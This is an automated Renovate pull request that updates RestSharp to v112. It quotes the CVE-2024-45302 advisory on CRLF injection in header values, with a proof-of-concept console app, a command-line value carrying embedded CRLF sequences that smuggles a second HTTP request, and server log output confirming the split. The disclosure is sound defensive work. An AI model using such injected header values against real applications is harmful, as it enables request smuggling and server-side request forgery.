Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Update dependency RestSharp to v112 [SECURITY] #98

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open

Update dependency RestSharp to v112 [SECURITY] #98

wants to merge 1 commit into from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Aug 29, 2024 •
edited
Loading

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
RestSharp (source) 108.0.3 -> 112.0.0 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-45302

Summary

The second argument to RestRequest.AddHeader (the header value) is vulnerable to CRLF injection. The same applies to RestRequest.AddOrUpdateHeader and RestClient.AddDefaultHeader.

Details

The way HTTP headers are added to a request is via the HttpHeaders.TryAddWithoutValidation method: https://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32 This method does not check for CRLF characters in the header value.

This means that any headers from a RestSharp.RequestHeaders object are added to the request in such a way that they are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.

PoC

The below example code creates a console app that takes one command line variable "api key" and then makes a request to some status page with the provided key inserted in the "Authorization" header:

using RestSharp;

class Program
{
    static async Task Main(string[] args)
    {
        // Usage: dotnet run <api key>
        var key = args[0];
        var options = new RestClientOptions("http://insert.some.site.here");
        var client = new RestClient(options);
        var request = new RestRequest("/status", Method.Get).AddHeader("Authorization", key);
        var response = await client.ExecuteAsync(request);
        Console.WriteLine($"Status: {response.StatusCode}");
        Console.WriteLine($"Response: {response.Content}");
    }
}

This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):

anonymous@ubuntu-sofia-672448:~$ dotnet RestSharp-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here'
Status: OK
Response: <html></html>

The application intends to send a single request of the form:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: <api key>
User-Agent: RestSharp/111.4.1.0
Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml
Accept-Encoding: gzip, deflate, br

But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: test
User-Agent: injected header!

and

GET /smuggled HTTP/1.1
Host: insert.some.site.here
User-Agent: RestSharp/111.4.1.0
Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml
Accept-Encoding: gzip, deflate, br

This can be confirmed by checking the access logs on the server where these commands were run (with insert.some.site.here pointing to localhost):

anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log
127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!"
127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "RestSharp/111.4.1.0"

Impact

If an application using the RestSharp library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.

Strictly speaking this is a potential vulnerability in applications using RestSharp, not in RestSharp itself, but I would argue that at the very least there needs to be a warning about this behaviour in the RestSharp documentation.

Release Notes

restsharp/RestSharp (RestSharp)

v112.0.0

Compare Source

What's Changed

New Contributors

Full Changelog: restsharp/RestSharp@111.4.1...112.0.0

v111.4.1

Compare Source

What's Changed

New Contributors

Full Changelog: restsharp/RestSharp@111.4.0...111.4.1

v111.4.0

Compare Source

What's Changed

New Contributors

Full Changelog: restsharp/RestSharp@111.3.0...111.4.0

v111.3.0

Compare Source

What's Changed

New Contributors

Full Changelog: restsharp/RestSharp@111.2.0...111.3.0

v111.2.0

Compare Source

What's Changed

Full Changelog: restsharp/RestSharp@111.1.0...111.2.0

v111.1.0

Compare Source

v111.0.0

Compare Source

What's Changed

New Contributors

Full Changelog: restsharp/RestSharp@110.2.0...111.0.0

v110.2.0

Compare Source

What's Changed

Full Changelog: restsharp/RestSharp@110.1.0...110.2.0

v110.1.0

Compare Source

What's Changed

Full Changelog: restsharp/RestSharp@110.0.0...110.1.0

v110.0.0

Compare Source

What's Changed
Breaking change

The IRestClient interface signature is different, so any non-standard implementations need to adopt the changes.

To keep DefaultParameters thread-safe, it got a new type DefaultParameters, and request property Parameters has a dedicated type RequestParameter. Code-wise the change is non-breaking as the signatures are the same, but v110 is not binary compatible with previous versions. The difference is that DefaultParameters collection wraps all its mutations in a lock.

Full Changelog: restsharp/RestSharp@109.0.1...110.0.0

v109.0.1

Compare Source

What's Changed

New Contributors

Full Changelog: restsharp/RestSharp@109.0.0...109.0.1

v109.0.0

What's Changed
New Contributors

Full Changelog: restsharp/RestSharp@108.0.3...109.0.0

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers
No reviews
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.
0 participants